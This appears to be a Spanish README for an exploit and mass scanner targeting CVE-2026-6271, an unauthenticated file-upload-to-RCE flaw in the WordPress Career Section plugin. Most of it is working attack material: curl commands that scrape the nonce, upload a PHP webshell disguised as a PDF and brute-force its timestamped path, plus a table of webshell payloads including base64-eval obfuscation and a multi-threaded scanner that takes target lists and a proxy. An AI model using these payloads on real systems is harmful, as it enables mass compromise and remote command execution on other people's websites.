
Escáner automatizado para CVE-2026-6271, una carga arbitraria de archivos crítica no autenticada que conduce a RCE en el plugin Career Section de WordPress. Admite escaneo de múltiples hilos, múltiples tipos de shell e integración de proxy.
Plugin: Career Section (
career-section) ID de CVE: CVE-2026-6271 Puntuación CVSS: 9.8 (Crítico) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Subida de archivos arbitraria sin autenticación → Ejecución remota de código Versión afectada: <= 1.7 Versión parcheada: 1.8 Fecha de publicación: 13 de mayo de 2026 Investigador: Paolo Tresso — Wordfence
El plugin Career Section permite a los propietarios de sitios publicar ofertas de empleo y recopilar solicitudes. Cada página de oferta de empleo incluye un formulario "Apply Now". Este formulario contiene un campo para subir un archivo CV.
En las versiones 1.7 y anteriores, el controlador de subida acepta cualquier tipo de
archivo, incluido .php. Dado que el formulario es público y el token CSRF está incrustado
en el HTML de la página, esta vulnerabilidad puede explotarse sin necesidad de ninguna
cuenta ni privilegio.
Los nonces de WordPress son tokens CSRF, no tokens de autenticación. El valor del nonce se incrusta en el HTML de la página para cada visitante:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>
Cualquier visitante no autenticado puede obtener un nonce válido y superar la comprobación de validación.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() solo limpia caracteres especiales,
no bloquea las extensiones peligrosas.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
En este directorio no existe un archivo .htaccess que impida la ejecución de PHP.
| Razón | Descripción |
|---|---|
| No requiere autenticación | Nonce incrustado en el HTML público |
| Sin restricción de tipo de archivo | Se aceptan .php, .php5, .phtml |
Sin protección .htaccess | PHP se ejecuta en el directorio de subida |
| Nombre de archivo predecible | time()_filename → fuerza bruta de timestamp |
⚠️ Descargo de responsabilidad: Esta PoC es únicamente con fines educativos. Pruebe solo en sistemas propios o sobre los que tenga permiso explícito por escrito para probar.
Requisitos previos:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Estructura a buscar en el código fuente de la página:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
El nombre del archivo tiene el formato <timestamp>_shell.php.
Prueba los timestamps alrededor de $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
Salida esperada:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Parámetro | Abreviatura | Descripción | Por defecto |
|---|---|---|---|
--url | -u | URL de objetivo único | — |
--list | -l | Archivo con lista de objetivos | — |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | rce_confirmed.txt |
--job-url | — | URL directa de la oferta de empleo | — |
--shell-name | — | Nombre del archivo a subir | shell.php |
--shell-type | — | Tipo de shell | system |
--verify-cmd | — | Comando de verificación de RCE | id |
--ts-window | — | Ventana de fuerza bruta de timestamp (±s) | 5 |
--proxy | — | URL del proxy | — |
--timeout | — | Tiempo de espera de la petición (s) | 10 |
| Tipo | Payload | Descripción |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico del sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Salida cruda |
exec | <?php echo exec($_GET["cmd"]); ?> | Ejecución silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval mediante POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscación Base64 |
full | shell_exec + system + exec fallback | Shell de alcance completo |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
Acceso directo:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)